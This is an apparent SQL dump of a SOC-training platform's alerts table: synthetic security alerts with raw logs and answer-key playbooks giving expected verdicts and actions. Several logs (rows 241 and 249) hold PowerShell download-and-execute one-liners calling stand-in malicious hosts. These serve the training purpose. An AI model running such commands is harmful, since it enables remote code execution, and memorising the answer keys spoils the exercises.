
-- https://www.phpmyadmin.net/
--

START TRANSACTION;



--
-- Database: `infosecl_platform`
--

-- --------------------------------------------------------

--
-- Table structure for table `alerts`
--

CREATE TABLE `alerts` (
  `id` int(11) NOT NULL,
  `title` varchar(255) NOT NULL,
  `severity` enum('low','medium','high','critical') NOT NULL,
  `source` varchar(255) DEFAULT NULL,
  `details` text DEFAULT NULL,
  `alert_type` varchar(100) DEFAULT NULL,
  `mitre_technique` varchar(100) DEFAULT NULL,
  `real_world_example` tinyint(1) DEFAULT 0,
  `status` varchar(50) DEFAULT 'new',
  `assigned_to` int(11) DEFAULT NULL,
  `raw_log` text DEFAULT NULL,
  `created_at` timestamp NULL DEFAULT current_timestamp(),
  `updated_at` timestamp NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(),
  `playbook_solution` longtext CHARACTER SET utf8mb4 COLLATE utf8mb4_bin DEFAULT NULL,
  `difficulty` varchar(50) DEFAULT 'Beginner',
  `path_code` varchar(20) DEFAULT NULL,
  `min_level` int(11) DEFAULT 1,
  `is_ai_generated` tinyint(1) DEFAULT 0,
  `sector_code` varchar(50) DEFAULT NULL
) ;


INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`) VALUES
(240, 'Suspicious PowerShell Command Execution', 'medium', 'endpoint', 'A potentially malicious PowerShell script was executed on the endpoint. The script uses encoded command obfuscation techniques.', 'process', 'T1059.001', 0, 'Closed', 41, '{\"timestamp\":\"2023-10-10T14:32:58Z\",\"hostname\":\"Workstation-23\",\"username\":\"jane.doe\",\"process_name\":\"powershell.exe\",\"pid\":4567,\"parent_process\":\"explorer.exe\",\"ppid\":789,\"cmdline\":\"powershell.exe -NoProfile -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0AYQBnAGs\",\"file_hash\":\"3f50f0a35cc9b36fc3f0e1f2b0cf3a78\",\"user_domain\":\"CORP\",\"integrity_level\":\"High\",\"command_length\":43}', '2025-12-27 05:37:34', '2026-01-11 01:06:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"242.96.134.59\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"clean\",\"details\":\"IP 242.96.134.59 has 0% abuse confidence score. Located in corporate network range.\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"admin\",\"is_critical\":true,\"osint_result\":{\"source\":\"Active Directory\",\"verdict\":\"clean\",\"details\":\"User accessed from known location during normal business hours. Activity consistent with role.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"suspicious_activity\"}', 'Beginner', 'NULL', 1, 0, NULL),
(241, 'Suspicious Command Execution Detected', 'medium', 'process', 'A suspicious command execution was detected involving base64 encoding of an unknown script.', 'Potential Obfuscation or Encoding', 'T1027 - Obfuscated Files or Information', 0, 'Closed', 41, '{\"timestamp\":\"2023-10-12T14:23:34Z\",\"hostname\":\"workstation-7F5D\",\"username\":\"j.doe\",\"process_name\":\"powershell.exe\",\"cmdline\":\"powershell -NoProfile -Command Invoke-Expression (New-Object Net.WebClient).DownloadString(\'http://malicious.example/script\')\",\"file_hash\":\"sha256:d8a1c4cbf1e1367c2c6fd589v71c4c6f2b3d8e56ab60dcd526bfed9f2b68be23\",\"parent_process_name\":\"explorer.exe\",\"parent_pid\":1020,\"pid\":3284,\"event_id\":4688,\"event_message\":\"A new process has been created\"}', '2025-12-27 05:01:40', '2026-01-11 01:06:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"100.56.249.171\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP 100.56.249.171 reported 173 times for malicious activity. Abuse confidence score: 93%.\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"admin\",\"is_critical\":true,\"osint_result\":{\"source\":\"Active Directory\",\"verdict\":\"suspicious\",\"details\":\"Account shows multiple failed login attempts followed by successful authentication.\"}}],\"expected_actions\":[\"isolate_host\",\"block_hash\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"suspicious_activity\"}', 'Beginner', 'NULL', 1, 0, NULL),
(242, 'Suspicious PowerShell Script Execution Detected', 'high', 'endpoint', 'A potentially malicious PowerShell script with obfuscated code has been executed on an endpoint.', 'Process Execution', 'T1059.001', 1, 'investigating', 41, '{\"timestamp\":\"2023-11-01T14:32:16Z\",\"hostname\":\"DESKTOP-7GTHB9K\",\"user\":\"jdoe\",\"process_name\":\"powershell.exe\",\"process_id\":2678,\"cmdline\":\"powershell.exe -NoP -NonI -W Hidden -E JABzAHQAcgAgAD0AIABOAGUAdwAtAE8AYgBqAGU... (truncated)\",\"file_path\":\"C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\",\"file_hash\":\"2B2B6D120897FBB5783C3F8DCF57DBBA\",\"parent_process\":\"explorer.exe\",\"parent_process_id\":1744,\"network_activity\":{\"dest_ip\":\"192.168.1.10\",\"dest_port\":80},\"registry_modifications\":{\"key\":\"HKCU\\\\Software\\\\Classes\\\\ms-settings\\\\shell\\\\open\\\\command\",\"value\":\"calc.exe\"}}', '2025-12-27 05:08:14', '2026-01-11 01:09:19', '{\"correct_verdict\":\"True Positive\",\"triage_answer\":\"Suspicious\",\"containment_answer\":\"Isolate Host\",\"scenario\":{\"ip\":\"162.113.139.213\",\"files\":[{\"name\":\"unknown_tool.ps1\",\"type\":\"script\",\"status\":\"SUSPICIOUS\"}],\"email_subject\":null}}', 'Intermediate', 'NULL', 1, 0, NULL),
(243, 'Critical RDP Brute Force Attack Detected', 'critical', 'Firewall', 'Multiple failed RDP login attempts were detected from a single external IP address, indicating a brute force attack. This pattern of behavior is consistent with tactics outlined in cybersecurity incidents, such as the worldwide brute force attacks on RDP services in 2021.', 'Brute Force', 'T1110', 1, 'investigating', NULL, '{\"timestamp\":\"2023-10-24T18:35:24Z\",\"src_ip\":\"192.168.1.25\",\"dest_ip\":\"10.0.0.4\",\"attempt_count\":45,\"usernames_attempted\":[\"admin\",\"guest\",\"user1\"],\"protocol\":\"RDP\",\"event\":\"Failed login attempt\",\"firewall_id\":\"fw-12345678\",\"region\":\"us-west-2\",\"request_id\":\"req-abc123\",\"message\":\"Login failed due to incorrect credentials\",\"related_events\":[{\"timestamp\":\"2023-10-24T18:32:03Z\",\"src_ip\":\"192.168.1.25\",\"event\":\"Login attempt\"},{\"timestamp\":\"2023-10-24T18:34:16Z\",\"src_ip\":\"192.168.1.25\",\"event\":\"Connection established\"}],\"geo_location\":{\"country\":\"Unknown\",\"region\":\"Unknown\"}}', '2025-12-27 05:00:06', '2026-01-11 01:09:19', NULL, 'Advanced', 'SIEM', 1, 0, 'OT_ICS'),
(244, 'Malware Detected on Endpoint via Suspicious Process Execution', 'high', 'CrowdStrike', 'A suspicious process execution was detected on an internal machine, indicating potential malware activity. The process was associated with a known malicious hash.', 'Malware', 'T1059', 1, 'investigating', 65, '{\"timestamp\":\"2023-10-12T14:23:45Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.0.0.15\",\"dst_ip\":null,\"username\":\"jdoe\",\"hostname\":\"workstation-1\",\"file_hash\":\"3f5d2c7e1d4b8f9a6a7f8b2d3a4c5d6e\",\"process_name\":\"malicious.exe\"}', '2025-12-27 15:13:22', '2026-01-11 01:09:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Database\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the affected machine\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"3f5d2c7e1d4b8f9a6a7f8b2d3a4c5d6e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"File hash detected in multiple malware reports\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Directory\",\"verdict\":\"internal\",\"details\":\"Valid internal user account\"}}],\"expected_actions\":[\"isolate_host\",\"block_hash\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The presence of a known malicious file hash on an internal machine, executed by a suspicious process, confirms this as a true malware incident.\"}', 'Intermediate', 'NULL', 1, 0, NULL),
(245, 'Malware Detected - Suspicious Process Execution', 'high', 'CrowdStrike', 'A suspicious executable was detected running on the host, potentially indicating malware activity. The process attempted to connect to a known malicious C2 server.', 'Malware', 'T1059', 1, 'New', NULL, '{\"timestamp\":\"2023-10-05T14:45:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.25\",\"dst_ip\":\"203.0.113.5\",\"username\":\"jdoe\",\"hostname\":\"DESKTOP-1\",\"file_hash\":\"e99a18c428cb38d5f260853678922e03\"}', '2025-12-29 00:07:31', '2026-01-11 01:09:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.5\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for C2 activity\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Detected as Trojan by 45 AV vendors\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"192.168.1.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Internal IP address of compromised host\"}}],\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The hash and external IP both have malicious indicators, confirming the detection of malware.\"}', 'Intermediate', 'EDR', 1, 0, 'OT_ICS'),
(246, 'Phishing Attempt Detected - Malicious Email Link', 'medium', 'Proofpoint', 'A phishing email was received containing a malicious link attempting to harvest credentials. The sender\'s domain is known for phishing activities.', 'Phishing', 'T1566', 1, 'New', NULL, '{\"timestamp\":\"2023-10-05T09:30:00Z\",\"event_type\":\"email_received\",\"src_ip\":\"198.51.100.10\",\"email_sender\":\"phisher@example.com\",\"url\":\"http://malicious-site.com/login\",\"username\":\"asmith\"}', '2025-12-28 12:31:27', '2026-01-11 01:06:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"phisher@example.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Spamhaus\",\"verdict\":\"malicious\",\"details\":\"Domain frequently used in phishing attacks\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"http://malicious-site.com/login\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"Site flagged for credential phishing\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"198.51.100.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"suspicious\",\"details\":\"IP associated with spam and phishing\"}}],\"expected_actions\":[\"block_ip\",\"block_url\",\"reset_credentials\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"Both the sender\'s email and the URL are flagged as malicious, confirming a phishing attempt.\"}', 'Beginner', 'SIEM', 1, 0, 'GOVERNMENT'),
(247, 'Brute Force Attack Detected - Multiple Failed Logins', 'critical', 'Wazuh', 'Multiple failed login attempts detected, indicating a possible brute force attack. The source IP is from a foreign country with a history of attacks.', 'Brute Force', 'T1110', 1, 'New', NULL, '{\"timestamp\":\"2023-10-05T17:00:00Z\",\"event_type\":\"login_failure\",\"src_ip\":\"203.0.113.77\",\"dst_ip\":\"192.168.1.10\",\"username\":\"administrator\",\"failed_attempts\":45}', '2025-12-28 11:20:25', '2026-01-11 01:09:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.77\",\"is_critical\":true,\"osint_result\":{\"source\":\"Shodan\",\"verdict\":\"malicious\",\"details\":\"IP known for brute force attack attempts\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Internal IP address targeted by brute force\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"collect_forensics\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"High number of failed attempts from a malicious IP confirms a brute force attack.\"}', 'Advanced', 'SIEM', 1, 0, 'OT_ICS'),
(248, 'Suspicious Network Traffic - False Positive', 'low', 'Firewall', 'Network traffic was detected from a known cloud provider IP, initially flagged as suspicious. Further investigation reveals it to be legitimate.', 'Network Anomaly', 'T1071', 0, 'New', NULL, '{\"timestamp\":\"2023-10-05T11:15:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"203.0.113.120\",\"dst_ip\":\"192.168.1.50\",\"username\":\"n/a\",\"hostname\":\"SERVER-1\"}', '2025-12-28 01:16:06', '2026-01-11 01:06:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.120\",\"is_critical\":false,\"osint_result\":{\"source\":\"IPInfo\",\"verdict\":\"clean\",\"details\":\"IP belongs to a reputable cloud service provider\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.50\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Internal IP address of a legitimate server\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"network_anomaly\",\"analysis_notes\":\"The source IP is from a legitimate cloud provider, reducing the likelihood of malicious intent.\"}', 'Beginner', 'NDR', 1, 0, 'TECH'),
(249, 'Suspicious PowerShell Command Execution Detected', 'high', 'endpoint', 'A suspicious PowerShell command that could potentially allow remote code execution or credential dumping was detected on an endpoint.', 'Execution', 'T1086', 1, 'investigating', 54, '{\"log_type\":\"process_creation\",\"timestamp\":\"2023-10-12T14:22:09Z\",\"hostname\":\"Corporate-Laptop-04\",\"username\":\"jdoe\",\"process_name\":\"powershell.exe\",\"cmdline\":\"powershell -nop -c \\\"iex (New-Object Net.WebClient).DownloadString(\'http://maliciousdomain.com/script.ps1\')\\\"\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"parent_process\":\"explorer.exe\",\"parent_process_id\":4821,\"process_id\":9342,\"integrity_level\":\"High\",\"network_activity\":[{\"protocol\":\"HTTP\",\"dest_ip\":\"192.168.1.105\",\"dest_port\":80,\"url\":\"http://maliciousdomain.com/script.ps1\"}]}', '2025-12-28 05:40:53', '2026-01-11 01:09:19', '{\"correct_verdict\":\"True Positive\",\"triage_answer\":\"Suspicious\",\"containment_answer\":\"Isolate Host\",\"scenario\":{\"ip\":\"253.135.96.33\",\"files\":[{\"name\":\"unknown_tool.ps1\",\"type\":\"script\",\"status\":\"SUSPICIOUS\"}],\"email_subject\":null}}', 'Intermediate', 'NULL', 1, 0, NULL),
(250, 'Suspicious PowerShell Command Execution Detected', 'medium', 'process', 'A PowerShell script was executed with encoded commands which is commonly used to obfuscate malicious scripts.', 'Behavioral Anomaly', 'T1086', 1, 'Closed', 48, '{\"timestamp\":\"2023-10-23T14:25:36Z\",\"host_name\":\"HR-DESKTOP-07\",\"user_name\":\"j.smith\",\"process_name\":\"powershell.exe\",\"cmdline\":\"powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand WwBy\\nYW5kb20gdGV4dF0NCmVjaG8gIlRoaXMgaXMgYSB0ZXN0LiI=\",\"file_hash\":\"3fa4cd6c63168b1eae1f3116ce3f789a175c3abe\",\"parent_process\":\"explorer.exe\",\"parent_process_id\":3452,\"process_id\":6784,\"integrity_level\":\"High\",\"src_ip\":\"192.168.10.23\",\"geo_location\":\"\",\"event_id\":4688,\"logon_type\":2}', '2025-12-28 05:25:32', '2026-01-11 01:06:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"61.243.64.122\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"clean\",\"details\":\"IP 61.243.64.122 has 0% abuse confidence score. Located in corporate network range.\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"root\",\"is_critical\":true,\"osint_result\":{\"source\":\"Active Directory\",\"verdict\":\"clean\",\"details\":\"User accessed from known location during normal business hours. Activity consistent with role.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"suspicious_activity\"}', 'Beginner', 'NULL', 1, 0, NULL),
(251, 'Suspicious Network Activity Detected: Potential Data Exfiltration', 'high', 'network', 'Unusual outbound network activity detected, with large volumes of data being transferred to an unknown external IP address over an atypical port.', 'data_exfiltration', 'T1048: Exfiltration Over Alternative Protocol', 1, 'New', NULL, '{\"timestamp\":\"2023-11-01T14:23:45Z\",\"src_ip\":\"192.168.1.10\",\"dest_ip\":\"203.0.113.54\",\"src_port\":49876,\"dest_port\":8080,\"protocol\":\"TCP\",\"bytes_sent\":87000000,\"bytes_received\":1240,\"session_duration_sec\":3600,\"flags\":\"SYN,ACK\",\"geoip\":{\"country\":\"Unknown\",\"city\":\"Unknown\"},\"user_agent\":\"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)\",\"anomalies\":[\"Unusual port communication\",\"High data transfer volume\"],\"event_id\":\"net-20231101-42345\"}', '2025-12-28 05:42:26', '2026-01-11 01:09:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"237.158.1.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP 237.158.1.45 reported 452 times for malicious activity. Abuse confidence score: 86%.\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"service_account\",\"is_critical\":true,\"osint_result\":{\"source\":\"Active Directory\",\"verdict\":\"suspicious\",\"details\":\"Account shows multiple failed login attempts followed by successful authentication.\"}}],\"expected_actions\":[\"isolate_host\",\"block_ip\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"suspicious_activity\"}', 'Intermediate', 'SIEM', 1, 0, 'OT_ICS'),
(252, 'Successful Login with Previously Compromised Credentials', 'high', 'Authentication Logs', 'An unauthorized login attempt was detected and successfully executed using credentials associated with a known compromised email. This alert aligns with an attack pattern observed in the Acme Corp breach of August 2023, where attackers used publicly available credentials to infiltrate user accounts.', 'Credential Access', 'T1078', 1, 'New', NULL, '{\"timestamp\":\"2023-10-11T13:45:23Z\",\"event_source\":\"Authentication Logs\",\"event_id\":\"401\",\"username\":\"j.doe@examplecorp.com\",\"ip_address\":\"192.0.2.123\",\"location\":\"Toronto, Canada\",\"login_status\":\"Success\",\"authentication_method\":\"Password\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36\",\"previous_compromise\":\"yes\",\"related_event_ids\":[\"ACME-20230815-0423\"],\"risk_score\":85,\"request_id\":\"req-123456789\"}', '2025-12-28 05:00:05', '2026-01-11 01:09:19', NULL, 'Intermediate', 'SIEM', 1, 0, 'GOVERNMENT'),
(253, 'Suspicious PowerShell Execution Detected', 'high', 'CrowdStrike', 'A PowerShell script was executed on a host, which is often used by attackers to download and execute malware. Analysis revealed the script attempted to communicate with a known malicious server.', 'Malware', 'T1059', 1, 'New', NULL, '{\"timestamp\":\"2023-10-01T14:23:45Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.101\",\"dst_ip\":\"203.0.113.45\",\"username\":\"jdoe\",\"hostname\":\"DESKTOP-1A2B3C\",\"file_hash\":\"abc123def456ghi789jkl012mno345pq\",\"domain\":\"malicious-example.com\"}', '2025-12-28 17:13:32', '2026-01-11 01:09:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for hosting malware\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"abc123def456ghi789jkl012mno345pq\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash found in 12 AV engines detecting it as a trojan\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"192.168.1.101\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Records\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the affected host\"}}],\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The PowerShell execution with outbound connection to a known malicious IP indicates a malware attempt.\"}', 'Intermediate', 'EDR', 1, 0, 'OT_ICS'),
(254, 'Credential Phishing Attempt via Email', 'critical', 'Proofpoint', 'An email was received from a spoofed domain attempting to trick users into providing credentials by clicking a malicious link.', 'Phishing', 'T1566', 1, 'New', NULL, '{\"timestamp\":\"2023-10-02T09:15:00Z\",\"event_type\":\"email_received\",\"src_ip\":\"198.51.100.23\",\"dst_ip\":\"10.0.0.55\",\"username\":\"asmith\",\"hostname\":\"MAILSERVER\",\"email_sender\":\"no-reply@secure-login.com\",\"url\":\"http://malicious-link.com/login\"}', '2025-12-28 17:13:32', '2026-01-11 01:09:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.23\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"suspicious\",\"details\":\"IP involved in multiple phishing campaigns\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"http://malicious-link.com/login\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"URL flagged for phishing attempts\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"10.0.0.55\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Records\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the email recipient\'s server\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"block_url\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"The email with a known phishing URL and spoofed sender suggests a credential phishing attempt.\"}', 'Advanced', 'SIEM', 1, 0, 'OT_ICS'),
(255, 'Unauthorized Database Access Detected', 'high', 'database', 'Suspicious access detected on the corporate database outside of normal hours from an unrecognized IP address.', 'Anomaly Detection', 'T1078: Valid Accounts', 1, 'investigating', 54, '{\"timestamp\":\"2023-10-13T02:17:36Z\",\"event_type\":\"DB_access\",\"user\":\"jdoe\",\"access_time\":\"2023-10-13T02:16:45Z\",\"database\":\"CustomerData\",\"action\":\"SELECT\",\"affected_tables\":[\"customers\",\"orders\"],\"source_ip\":\"192.168.32.201\",\"dest_ip\":\"10.0.0.15\",\"login_status\":\"success\",\"access_method\":\"remote\",\"anomalous_activity\":true,\"notes\":\"Access outside of normal working hours (9am-6pm) by user accessing database for the first time.\"}', '2025-12-29 05:48:29', '2026-01-11 01:09:19', '{\"correct_verdict\":\"True Positive\",\"triage_answer\":\"Suspicious\",\"containment_answer\":\"Isolate Host\",\"scenario\":{\"ip\":\"216.32.48.90\",\"files\":[{\"name\":\"unknown_tool.ps1\",\"type\":\"script\",\"status\":\"SUSPICIOUS\"}],\"email_subject\":null}}', 'Intermediate', 'NULL', 1, 0, NULL),
(256, 'Suspicious Email Link Detected', 'medium', 'Email Gateway', 'An email containing a potentially harmful link was detected. The link is known to redirect users to phishing sites previously associated with credential harvesting campaigns.', 'Phishing Attempt', 'T1566.001', 1, 'Closed', 54, '{\"timestamp\":\"2023-10-15T08:54:23Z\",\"email_id\":\"ae56d7f3-8496-439b-9077-41795bdee04b\",\"source_email\":\"alerts@banking-security.com\",\"destination_email\":\"johndoe@example.com\",\"subject\":\"Important: Account Verification Needed\",\"link\":\"http://secure-account-login.com/verify\",\"link_status\":\"Blacklisted\",\"detection_method\":\"URL Reputation Check\",\"actions_taken\":\"Email Quarantine\",\"headers\":{\"Received\":\"by mailserver.example.com with SMTP id abc123456 for johndoe@example.com\",\"From\":\"<alerts@banking-security.com>\",\"To\":\"<johndoe@example.com>\",\"Subject\":\"Important: Account Verification Needed\",\"Date\":\"15 Oct 2023 08:54:21 +0000\"},\"body\":\"Dear customer, your account requires verification. Click the link to secure your account: http://secure-account-login.com/verify\"}', '2025-12-29 05:31:26', '2026-01-11 01:06:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"security@secure-google.ru\",\"is_critical\":true,\"osint_result\":{\"source\":\"Email Reputation\",\"verdict\":\"malicious\",\"details\":\"Sender domain is 3 days old and associated with phishing campaigns.\"}},{\"id\":\"artifact_2\",\"type\":\"domain\",\"value\":\"secure-google.ru\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"53/94 security vendors flagged this domain as malicious.\"}}],\"expected_actions\":[\"block_sender\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"phishing\"}', 'Beginner', 'NULL', 1, 0, NULL),
(257, 'Suspicious PowerShell Script Execution Detected', 'medium', 'process', 'A PowerShell script was executed which is commonly used in fileless malware attacks. The script attempted network communication with a known malicious IP.', 'Malicious Script Execution', 'T1059.001', 1, 'Closed', 54, '{\"timestamp\":\"2023-10-24T15:45:32Z\",\"event_id\":\"4674\",\"hostname\":\"DESKTOP-WX321\",\"username\":\"JohnDoe\",\"process_name\":\"C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\",\"cmdline\":\"powershell -NoProfile -ExecutionPolicy Bypass -File \\\"C:\\\\Users\\\\JohnDoe\\\\AppData\\\\Local\\\\Temp\\\\script.ps1\\\"\",\"file_hash\":\"3efd49ddfee84548bede1e13c4433b29f1db3f1d9b7f95c42e0b5cda1844afb0\",\"network_communication\":{\"src_ip\":\"192.168.1.10\",\"dest_ip\":\"203.0.113.45\",\"dest_port\":443,\"protocol\":\"HTTPS\"},\"detection_engine\":\"Signature-based\",\"signature_id\":\"POWERSHELL-0012\",\"additional_info\":\"The destination IP is associated with known C2 servers.\"}', '2025-12-29 05:44:17', '2026-01-11 01:06:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"56.201.107.90\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP 56.201.107.90 reported 310 times for malicious activity. Abuse confidence score: 89%.\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"service_account\",\"is_critical\":true,\"osint_result\":{\"source\":\"Active Directory\",\"verdict\":\"suspicious\",\"details\":\"Account shows multiple failed login attempts followed by successful authentication.\"}}],\"expected_actions\":[\"isolate_host\",\"block_hash\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"suspicious_activity\"}', 'Beginner', 'NULL', 1, 0, NULL),
(259, 'Suspicious PowerShell Execution Detected on Internal Host', 'high', 'CrowdStrike', 'A PowerShell script with obfuscated content was executed on an internal host. The script was used to download and execute a known malicious payload.', 'Malware', 'T1059', 1, 'New', NULL, '{\"timestamp\":\"2023-11-01T14:23:45Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.25\",\"dst_ip\":\"203.0.113.45\",\"username\":\"jdoe\",\"hostname\":\"CORP-WKS-0123\",\"file_hash\":\"3b1f2e1a2f8b9f7c6d4e5b3a2c5d6e7f\",\"domain\":\"malicious-example.com\",\"process_name\":\"powershell.exe\",\"command_line\":\"powershell -EncodedCommand YABhAHMAaAAgAC0AZQAgACcAMwBiADEAZgAyAGUAMQBhADIAZgA4AGIAOQBmADcAYwA2AGQANABlADUAYgAzAGEAMgBjADUAZABlADcAZgAnAA==\"}', '2025-12-30 01:27:50', '2026-01-11 01:09:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.25\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Database\",\"verdict\":\"internal\",\"details\":\"This is an internal IP address associated with host CORP-WKS-0123.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for hosting malicious content.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"3b1f2e1a2f8b9f7c6d4e5b3a2c5d6e7f\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"File hash detected in multiple malware 